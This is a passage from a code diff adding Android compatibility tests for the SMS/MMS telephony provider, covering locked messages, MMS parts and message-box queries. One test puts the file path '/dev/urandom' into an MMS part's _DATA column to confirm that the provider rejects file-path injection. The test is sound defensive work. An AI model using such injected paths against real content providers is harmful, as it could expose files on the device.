+        Uri smsUri = insertIntoSmsTable(SMS_SUBJECT_TWO);
+        assertThat(smsUri).isNotNull();
+        Cursor smCursor = mContentResolver.query(smsUri, null, null, null);
+        assertThat(smCursor.getCount()).isEqualTo(1);
+
+        Cursor cursor = mContentResolver.query(Telephony.MmsSms.CONTENT_LOCKED_URI, null, null,
+                null);
+        assertThat(cursor.getCount()).isEqualTo(0);
+    }
+
+    private Uri insertMmsWithLockedMessage() {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE, Telephony.Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(mmsUri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Telephony.Mms.LOCKED, 1);
+
+        int cursorUpdate = mContentResolver.update(mmsUri, updateValues, null, null);
+        assertThat(cursorUpdate).isEqualTo(1);
+
+        Cursor cursorAfterReadUpdate = mContentResolver.query(mmsUri, null, null, null);
+
+        assertThat(cursorAfterReadUpdate.getCount()).isEqualTo(1);
+        assertThat(cursorAfterReadUpdate.moveToFirst()).isEqualTo(true);
+        assertThat(
+                cursorAfterReadUpdate.getInt(
+                        cursorAfterReadUpdate.getColumnIndex(Telephony.Mms.LOCKED)))
+                .isEqualTo(
+                        1);
+        return mmsUri;
+    }
+
+    private Uri insertSmsWithLockedMessage() {
+        Uri smsUri = insertIntoSmsTable(SMS_SUBJECT_TWO);
+        assertThat(smsUri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(smsUri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Telephony.Sms.LOCKED, 1);
+
+        int cursorUpdate = mContentResolver.update(smsUri, updateValues, null, null);
+        assertThat(cursorUpdate).isEqualTo(1);
+
+        Cursor cursorAfterReadUpdate = mContentResolver.query(smsUri, null, null, null);
+
+        assertThat(cursorAfterReadUpdate.getCount()).isEqualTo(1);
+        assertThat(cursorAfterReadUpdate.moveToFirst()).isEqualTo(true);
+        assertThat(
+                cursorAfterReadUpdate.getInt(
+                        cursorAfterReadUpdate.getColumnIndex(Telephony.Sms.LOCKED)))
+                .isEqualTo(
+                        1);
+        return smsUri;
+    }
+
+    private Uri insertIntoMmsTable(String subject, int messageType) {
+        final ContentValues mmsValues = new ContentValues();
+        mmsValues.put(Telephony.Mms.TEXT_ONLY, 1);
+        mmsValues.put(Telephony.Mms.MESSAGE_TYPE, messageType);
+        mmsValues.put(Telephony.Mms.SUBJECT, subject);
+        mmsValues.put(Telephony.Mms.THREAD_ID, TEST_THREAD_ID);
+        final Uri mmsUri = mContentResolver.insert(Telephony.Mms.CONTENT_URI, mmsValues);
+        return mmsUri;
+    }
+
+    private Uri insertIntoSmsTable(String subject) {
+        final ContentValues smsValues = new ContentValues();
+        smsValues.put(Telephony.Sms.SUBJECT, subject);
+        smsValues.put(Telephony.Sms.ADDRESS, TEST_ADDRESS);
+        smsValues.put(Telephony.Sms.BODY, TEST_SMS_BODY);
+        smsValues.put(Telephony.Sms.THREAD_ID, TEST_THREAD_ID);
+        final Uri smsUri = mContentResolver.insert(Telephony.Sms.CONTENT_URI, smsValues);
+        return smsUri;
+    }
+
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
new file mode 100644
index 0000000..9e45328
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import javax.annotation.Nullable;
+
+public class MmsPartTest {
+
+    private static final String MMS_SUBJECT_ONE = "MMS Subject CTS One";
+    private static final String MMS_BODY = "MMS body CTS";
+    private static final String MMS_BODY_UPDATE = "MMS body CTS Update";
+    private static final String TEXT_PLAIN = "text/plain";
+    private static final String SRC_NAME = String.format("text.%06d.txt", 0);
+    /**
+     * Parts must be inserted in relation to a message, this message ID is used for inserting a part
+     * when the message ID is not important in relation to the current test.
+     */
+    private static final String TEST_MESSAGE_ID = "100";
+    private ContentResolver mContentResolver;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        ContentResolver contentResolver = getInstrumentation().getContext().getContentResolver();
+        contentResolver.delete(Telephony.Mms.Part.CONTENT_URI, null, null);
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        cleanup();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    }
+
+    @Test
+    public void testMmsPartInsert_cannotInsertPartWithDataColumn() {
+        ContentValues values = new ContentValues();
+        values.put(Telephony.Mms.Part._DATA, "/dev/urandom");
+        values.put(Telephony.Mms.Part.NAME, "testMmsPartInsert_cannotInsertPartWithDataColumn");
+
+        Uri uri = insertTestMmsPartWithValues(values);
+        assertThat(uri).isNull();
+    }
+
+    @Test
+    public void testMmsPartInsert_canInsertPartWithoutDataColumn() {
+        String name = "testMmsInsert_canInsertPartWithoutDataColumn";
+
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
+        assertThat(mmsUri).isNotNull();
+        final long mmsId = ContentUris.parseId(mmsUri);
+
+        //Creating part uri using mmsId.
+        final Uri partUri = Telephony.Mms.Part.getPartUriForMessage(String.valueOf(mmsId));
+        Uri insertPartUri = insertIntoMmsPartTable(mmsUri, partUri, mmsId, MMS_BODY, name);
+        assertThatMmsPartInsertSucceeded(insertPartUri, name, MMS_BODY);
+    }
+
+    @Test
+    public void testMmsPart_deletedPartIdsAreNotReused() {
+        long id1 = insertAndVerifyMmsPartReturningId("testMmsPart_deletedPartIdsAreNotReused_1");
+
+        deletePartById(id1);
+
+        long id2 = insertAndVerifyMmsPartReturningId("testMmsPart_deletedPartIdsAreNotReused_2");
+
+        assertThat(id2).isGreaterThan(id1);
+    }
+
+    @Test
+    public void testMmsPartUpdate() {
+        //Inserting data to MMS table.
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
+        assertThat(mmsUri).isNotNull();
+        final long mmsId = ContentUris.parseId(mmsUri);
+
+        //Creating part uri using mmsId.
+        final Uri partUri = Telephony.Mms.Part.getPartUriForMessage(String.valueOf(mmsId));
+
+        //Inserting data to MmsPart table with mapping with mms uri.
+        Uri insertPartUri = insertIntoMmsPartTable(mmsUri, partUri, mmsId, MMS_BODY, SRC_NAME);
+        assertThatMmsPartInsertSucceeded(insertPartUri, SRC_NAME, MMS_BODY);
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Telephony.Mms.Part.TEXT, MMS_BODY_UPDATE);
+
+        // Updating part table.
+        int cursorUpdate = mContentResolver.update(partUri, updateValues, null, null);
+        assertThat(cursorUpdate).isEqualTo(1);
+        assertThatMmsPartInsertSucceeded(insertPartUri, SRC_NAME, MMS_BODY_UPDATE);
+
+    }
+
+    @Test
+    public void testMmsPartDelete_canDeleteById() {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
+        assertThat(mmsUri).isNotNull();
+        final long mmsId = ContentUris.parseId(mmsUri);
+        final Uri partUri = Telephony.Mms.Part.getPartUriForMessage(String.valueOf(mmsId));
+
+        Uri insertPartUri = insertIntoMmsPartTable(mmsUri, partUri, mmsId, MMS_BODY, SRC_NAME);
+        assertThat(insertPartUri).isNotNull();
+
+        int deletedRows = mContentResolver.delete(partUri, null, null);
+
+        assertThat(deletedRows).isEqualTo(1);
+
+    }
+
+    private long insertAndVerifyMmsPartReturningId(String name) {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
+        assertThat(mmsUri).isNotNull();
+        final long mmsId = ContentUris.parseId(mmsUri);
+
+        //Creating part uri using mmsId.
+        final Uri partUri = Telephony.Mms.Part.getPartUriForMessage(String.valueOf(mmsId));
+        Uri insertPartUri = insertIntoMmsPartTable(mmsUri, partUri, mmsId, MMS_BODY, name);
+
+        assertThatMmsPartInsertSucceeded(insertPartUri, name, MMS_BODY);
+        return Long.parseLong(insertPartUri.getLastPathSegment());
+    }
+
+    private void deletePartById(long partId) {
+        Uri uri = Uri.withAppendedPath(Telephony.Mms.Part.CONTENT_URI, Long.toString(partId));
+        int deletedRows = mContentResolver.delete(uri, null, null);
+        assertThat(deletedRows).isEqualTo(1);
+    }
+
+    private Uri insertTestMmsPartWithValues(ContentValues values) {
+        Uri insertUri = Telephony.Mms.Part.getPartUriForMessage(TEST_MESSAGE_ID);
+
+        Uri uri = mContentResolver.insert(insertUri, values);
+        return uri;
+    }
+
+    private void assertThatMmsPartInsertSucceeded(@Nullable Uri uriReturnedFromInsert,
+            String nameOfAttemptedInsert, String textBody) {
+        assertThat(uriReturnedFromInsert).isNotNull();
+
+        Cursor cursor = mContentResolver.query(uriReturnedFromInsert, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+
+        cursor.moveToNext();
+        String actualName = cursor.getString(cursor.getColumnIndex(Telephony.Mms.Part.NAME));
+        assertThat(actualName).isEqualTo(nameOfAttemptedInsert);
+        assertThat(cursor.getString(cursor.getColumnIndex(Telephony.Mms.Part.TEXT))).isEqualTo(
+                textBody);
+    }
+
+    private Uri insertIntoMmsTable(String subject) {
+        final ContentValues mmsValues = new ContentValues();
+        mmsValues.put(Telephony.Mms.TEXT_ONLY, 1);
+        mmsValues.put(Telephony.Mms.MESSAGE_TYPE, 128);
+        mmsValues.put(Telephony.Mms.SUBJECT, subject);
+        final Uri mmsUri = mContentResolver.insert(Telephony.Mms.CONTENT_URI, mmsValues);
+        return mmsUri;
+    }
+
+    private Uri insertIntoMmsPartTable(Uri mmsUri, Uri partUri, long mmsId, String body,
+            String name) {
+        // Insert body part.
+        final ContentValues values = new ContentValues();
+        values.put(Telephony.Mms.Part.MSG_ID, mmsId);
+        values.put(Telephony.Mms.Part.NAME, name);
+        values.put(Telephony.Mms.Part.SEQ, 0);
+        values.put(Telephony.Mms.Part.CONTENT_TYPE, TEXT_PLAIN);
+        values.put(Telephony.Mms.Part.CONTENT_ID, "<" + SRC_NAME + ">");
+        values.put(Telephony.Mms.Part.CONTENT_LOCATION, SRC_NAME);
+        values.put(Telephony.Mms.Part.CHARSET, 111);
+        values.put(Telephony.Mms.Part.TEXT, body);
+        Uri insertPartUri = mContentResolver.insert(partUri, values);
+        return insertPartUri;
+    }
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
new file mode 100644
index 0000000..14f05a5
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
@@ -0,0 +1,516 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+import android.provider.Telephony.Mms.Draft;
+import android.provider.Telephony.Mms.Inbox;
+import android.provider.Telephony.Mms.Outbox;
+import android.provider.Telephony.Mms.Sent;
+import android.provider.Telephony.Sms;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import javax.annotation.Nullable;
+
+@SmallTest
+public class MmsTest {
+
+    private static final String[] MMS_ADDRESSES = new String[]{"+1223", "+43234234"};
+    private static final String MMS_SUBJECT_ONE = "MMS Subject CTS One";
+    private static final String MMS_SUBJECT_TWO = "MMS Subject CTS Two";
+    private static final String MMS_BODY = "MMS body CTS";
+    private static final String TEXT_PLAIN = "text/plain";
+
+    private ContentResolver mContentResolver;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        ContentResolver contentResolver = getInstrumentation().getContext().getContentResolver();
+        contentResolver.delete(Telephony.Mms.CONTENT_URI, null, null);
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        cleanup();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    }
+
+    @Test
+    public void testMmsInsert_insertSendReqSucceeds() {
+        String expectedSubject = "testMmsInsert_insertSendReqSucceeds";
+
+        Uri uri = insertTestMmsSendReqWithSubject(expectedSubject);
+
+        assertThat(uri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+
+        cursor.moveToNext();
+        String actualSubject = cursor.getString(cursor.getColumnIndex(Telephony.Mms.SUBJECT));
+        assertThat(actualSubject).isEqualTo(expectedSubject);
+    }
+
+    @Test
+    public void testMmsDelete() {
+        String expectedSubject = "testMmsDelete";
+
+        Uri uri = insertTestMmsSendReqWithSubject(expectedSubject);
+
+        assertThat(uri).isNotNull();
+
+        int deletedRows = mContentResolver.delete(uri, null, null);
+
+        assertThat(deletedRows).isEqualTo(1);
+
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(0);
+    }
+
+    @Test
+    public void testMmsQuery_canViewNotificationIndMessages() {
+        int messageType = PduHeaders.MESSAGE_TYPE_NOTIFICATION_IND;
+        String expectedSubject = "testMmsQuery_canViewNotificationIndMessages";
+
+        Uri uri = insertTestMms(expectedSubject, messageType);
+
+        assertThat(uri).isNotNull();
+
+        assertThatMmsInsertSucceeded(uri, expectedSubject);
+    }
+
+    @Test
+    public void testMmsInsert_canInsertTextMms() {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri).isNotNull();
+
+        final long mmsId = ContentUris.parseId(mmsUri);
+        final Uri partUri = Telephony.Mms.Part.getPartUriForMessage(String.valueOf(mmsId));
+
+        Uri insertPartUri = insertIntoMmsPartTable(mmsUri, partUri, mmsId, MMS_BODY);
+        assertThat(insertPartUri).isNotNull();
+
+        insertIntoMmsAddressTable(mmsId, MMS_ADDRESSES);
+
+        Cursor mmsCursor = mContentResolver.query(mmsUri, null, null, null);
+        assertThat(mmsCursor.getCount()).isEqualTo(1);
+
+        assertThat(mmsCursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(mmsCursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+
+        Cursor partCursor = mContentResolver.query(partUri, null, null, null);
+        assertThat(partCursor.getCount()).isEqualTo(1);
+        assertThat(partCursor.moveToFirst()).isEqualTo(true);
+        assertThat(partCursor.getLong(partCursor.getColumnIndex(Telephony.Mms.Part.MSG_ID)))
+                .isEqualTo(
+                        mmsId);
+        assertThat(partCursor.getInt(partCursor.getColumnIndex(Telephony.Mms.Part.SEQ))).isEqualTo(
+                0);
+        assertThat(partCursor.getString(partCursor.getColumnIndex(Telephony.Mms.Part.CONTENT_TYPE)))
+                .isEqualTo(
+                        TEXT_PLAIN);
+        assertThat(partCursor.getString(partCursor.getColumnIndex(Telephony.Mms.Part.TEXT)))
+                .isEqualTo(
+                        MMS_BODY);
+    }
+
+    @Test
+    public void testInsertMessageBoxUri_canSaveAndQueryMmsSent() {
+        Uri mmsUri = saveMmsWithMessageBoxUri(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri).isNotNull();
+
+        Uri mmsUri1 = saveMmsWithMessageBoxUri(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri1).isNotNull();
+
+        Cursor msgCursor = mContentResolver.query(Sent.CONTENT_URI, null, null, null);
+        assertThat(msgCursor.getCount()).isEqualTo(2);
+
+        assertThat(msgCursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+
+        assertThat(msgCursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_SENT);
+    }
+
+    @Test
+    public void testInsertMessageBoxUri_canSaveAndQueryMmsDraft() {
+        Uri mmsUri = saveMmsWithMessageBoxUri(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_DRAFT);
+        assertThat(mmsUri).isNotNull();
+
+        Uri mmsUri1 = saveMmsWithMessageBoxUri(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_DRAFT);
+        assertThat(mmsUri1).isNotNull();
+
+        Cursor msgCursor = mContentResolver.query(Draft.CONTENT_URI, null, null, null);
+        assertThat(msgCursor.getCount()).isEqualTo(2);
+
+        assertThat(msgCursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_DRAFT);
+
+        assertThat(msgCursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_DRAFT);
+    }
+
+    @Test
+    public void testInsertMessageBoxUri_canSaveAndQueryMmsInbox() {
+        Uri mmsUri = saveMmsWithMessageBoxUri(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_INBOX);
+        assertThat(mmsUri).isNotNull();
+
+        Uri mmsUri1 = saveMmsWithMessageBoxUri(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_INBOX);
+        assertThat(mmsUri1).isNotNull();
+
+        Cursor msgCursor = mContentResolver.query(Inbox.CONTENT_URI, null, null, null);
+        assertThat(msgCursor.getCount()).isEqualTo(2);
+
+        assertThat(msgCursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_INBOX);
+
+        assertThat(msgCursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_INBOX);
+    }
+
+    @Test
+    public void testInsertMessageBoxUri_canSaveAndQueryMmsOutbox() {
+        Uri mmsUri = saveMmsWithMessageBoxUri(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_OUTBOX);
+        assertThat(mmsUri).isNotNull();
+
+        Uri mmsUri1 = saveMmsWithMessageBoxUri(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_OUTBOX);
+        assertThat(mmsUri1).isNotNull();
+
+        Cursor msgCursor = mContentResolver.query(Outbox.CONTENT_URI, null, null, null);
+        assertThat(msgCursor.getCount()).isEqualTo(2);
+
+        assertThat(msgCursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_OUTBOX);
+
+        assertThat(msgCursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(msgCursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_OUTBOX);
+    }
+
+    @Test
+    public void testMmsQuery_retrieveAllWhenSelectorNotSpecified() {
+        insertIntoMmsTableWithDifferentMessageBoxUriOfMms();
+
+        Cursor cursor = mContentResolver
+                .query(Telephony.Mms.CONTENT_URI, null, null, null, null, null);
+
+        assertThat(cursor.getCount() >= 5).isEqualTo(true);
+        assertThat(cursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_SENT);
+
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_OUTBOX);
+
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_INBOX);
+
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_DRAFT);
+
+        assertThat(cursor.moveToNext()).isEqualTo(false);
+
+    }
+
+    private void assertThatMmsCursorValues(Cursor cursor,
+            String subject, int msgType) {
+        assertThat(cursor.getString(cursor.getColumnIndex(Telephony.Mms.SUBJECT)))
+                .isEqualTo(subject);
+        assertThat(cursor.getInt(cursor.getColumnIndex(Telephony.Mms.MESSAGE_TYPE)))
+                .isEqualTo(msgType);
+    }
+
+    @Test
+    public void testMmsQuery_retrieveAllFailedMmsWhenSelectorSpecified() {
+        insertIntoMmsTableWithDifferentStatusOfMms();
+
+        String selection = Telephony.Mms.MESSAGE_TYPE + "=" + Sms.MESSAGE_TYPE_FAILED;
+
+        Cursor cursor = mContentResolver
+                .query(Telephony.Mms.CONTENT_URI, null, selection, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+        assertThat(cursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_FAILED);
+    }
+
+    @Test
+    public void testMmsQuery_retrieveAllSentMmsWhenSelectorSpecified() {
+        insertIntoMmsTableWithDifferentStatusOfMms();
+
+        String selection = Telephony.Mms.MESSAGE_TYPE + "=" + Sms.MESSAGE_TYPE_SENT;
+
+        Cursor cursor = mContentResolver
+                .query(Telephony.Mms.CONTENT_URI, null, selection, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+        assertThat(cursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+    }
+
+    @Test
+    public void testMmsQuery_retrieveAllQueuedMmsWhenSelectorSpecified() {
+        insertIntoMmsTableWithDifferentStatusOfMms();
+
+        String selection = Telephony.Mms.MESSAGE_TYPE + "=" + Sms.MESSAGE_TYPE_QUEUED;
+
+        Cursor cursor = mContentResolver
+                .query(Telephony.Mms.CONTENT_URI, null, selection, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+        assertThat(cursor.moveToFirst()).isEqualTo(true);
+        assertThatMmsCursorValues(cursor, MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_QUEUED);
+    }
+
+    @Test
+    public void testMmsUpdate() {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(mmsUri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+        assertThat(cursor.moveToFirst()).isEqualTo(true);
+        assertThat(cursor.getString(cursor.getColumnIndex(Telephony.Mms.SUBJECT)))
+                .isEqualTo(MMS_SUBJECT_ONE);
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Telephony.Mms.SUBJECT, MMS_SUBJECT_TWO);
+
+        int cursorUpdate = mContentResolver.update(mmsUri, updateValues, null, null);
+        assertThat(cursorUpdate).isEqualTo(1);
+
+        Cursor cursorAfterUpdate = mContentResolver.query(mmsUri, null, null, null);
+
+        assertThat(cursorAfterUpdate.getCount()).isEqualTo(1);
+        assertThat(cursorAfterUpdate.moveToFirst()).isEqualTo(true);
+        assertThat(
+                cursorAfterUpdate.getString(
+                        cursorAfterUpdate.getColumnIndex(Telephony.Mms.SUBJECT)))
+                .isEqualTo(MMS_SUBJECT_TWO);
+
+    }
+
+    @Test
+    public void testMmsUpdate_canUpdateReadAndSeenStatus() {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(mmsUri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Telephony.Mms.READ, 1);
+        updateValues.put(Telephony.Mms.SEEN, 1);
+
+        int cursorUpdate = mContentResolver.update(mmsUri, updateValues, null, null);
+        assertThat(cursorUpdate).isEqualTo(1);
+
+        Cursor cursorAfterReadUpdate = mContentResolver.query(mmsUri, null, null, null);
+
+        assertThat(cursorAfterReadUpdate.getCount()).isEqualTo(1);
+        assertThat(cursorAfterReadUpdate.moveToFirst()).isEqualTo(true);
+        assertThat(
+                cursorAfterReadUpdate.getInt(
+                        cursorAfterReadUpdate.getColumnIndex(Telephony.Mms.READ)))
+                .isEqualTo(
+                        1);
+        assertThat(
+                cursorAfterReadUpdate.getInt(
+                        cursorAfterReadUpdate.getColumnIndex(Telephony.Mms.SEEN)))
+                .isEqualTo(
+                        1);
+    }
+
+    private void insertIntoMmsTableWithDifferentMessageBoxUriOfMms() {
+        Uri mmsUri1 = saveMmsWithMessageBoxUri(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri1).isNotNull();
+        Uri mmsUri2 = saveMmsWithMessageBoxUri(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri2).isNotNull();
+        Uri mmsUri3 = saveMmsWithMessageBoxUri(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_OUTBOX);
+        assertThat(mmsUri3).isNotNull();
+        Uri mmsUri4 = saveMmsWithMessageBoxUri(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_INBOX);
+        assertThat(mmsUri4).isNotNull();
+        Uri mmsUri15 = saveMmsWithMessageBoxUri(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_DRAFT);
+        assertThat(mmsUri15).isNotNull();
+    }
+
+
+    private void insertIntoMmsTableWithDifferentStatusOfMms() {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE, Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri).isNotNull();
+        mmsUri = insertIntoMmsTable(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_INBOX);
+        assertThat(mmsUri).isNotNull();
+        mmsUri = insertIntoMmsTable(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_OUTBOX);
+        assertThat(mmsUri).isNotNull();
+        mmsUri = insertIntoMmsTable(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_ALL);
+        assertThat(mmsUri).isNotNull();
+        mmsUri = insertIntoMmsTable(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_FAILED);
+        assertThat(mmsUri).isNotNull();
+        mmsUri = insertIntoMmsTable(MMS_SUBJECT_TWO, Sms.MESSAGE_TYPE_QUEUED);
+        assertThat(mmsUri).isNotNull();
+    }
+
+    private Uri insertIntoMmsTable(String subject, int messageType) {
+        final ContentValues mmsValues = new ContentValues();
+        mmsValues.put(Telephony.Mms.TEXT_ONLY, 1);
+        mmsValues.put(Telephony.Mms.MESSAGE_TYPE, messageType);
+        mmsValues.put(Telephony.Mms.SUBJECT, subject);
+        final Uri mmsUri = mContentResolver.insert(Telephony.Mms.CONTENT_URI, mmsValues);
+        return mmsUri;
+    }
+
+    private Uri saveMmsWithMessageBoxUri(String subject, int messageType) {
+        Uri mmsUri = Telephony.Mms.CONTENT_URI;
+
+        final ContentValues mmsValues = new ContentValues();
+        mmsValues.put(Telephony.Mms.TEXT_ONLY, 1);
+        mmsValues.put(Telephony.Mms.MESSAGE_TYPE, messageType);
+        mmsValues.put(Telephony.Mms.SUBJECT, subject);
+
+        switch (messageType) {
+            case Sms.MESSAGE_TYPE_SENT:
+                mmsUri = Sent.CONTENT_URI;
+                break;
+            case Sms.MESSAGE_TYPE_INBOX:
+                mmsUri = Inbox.CONTENT_URI;
+                break;
+            case Sms.MESSAGE_TYPE_DRAFT:
+                mmsUri = Draft.CONTENT_URI;
+                break;
+            case Sms.MESSAGE_TYPE_OUTBOX:
+                mmsUri = Outbox.CONTENT_URI;
+                break;
+            default:
+                mmsUri = Telephony.Mms.CONTENT_URI;
+                break;
+        }
+
+        final Uri msgUri = mContentResolver.insert(mmsUri, mmsValues);
+        return msgUri;
+    }
+
+    private Uri insertIntoMmsPartTable(Uri mmsUri, Uri partUri, long mmsId, String body) {
+        final String srcName = String.format("text.%06d.txt", 0);
+        // Insert body part.
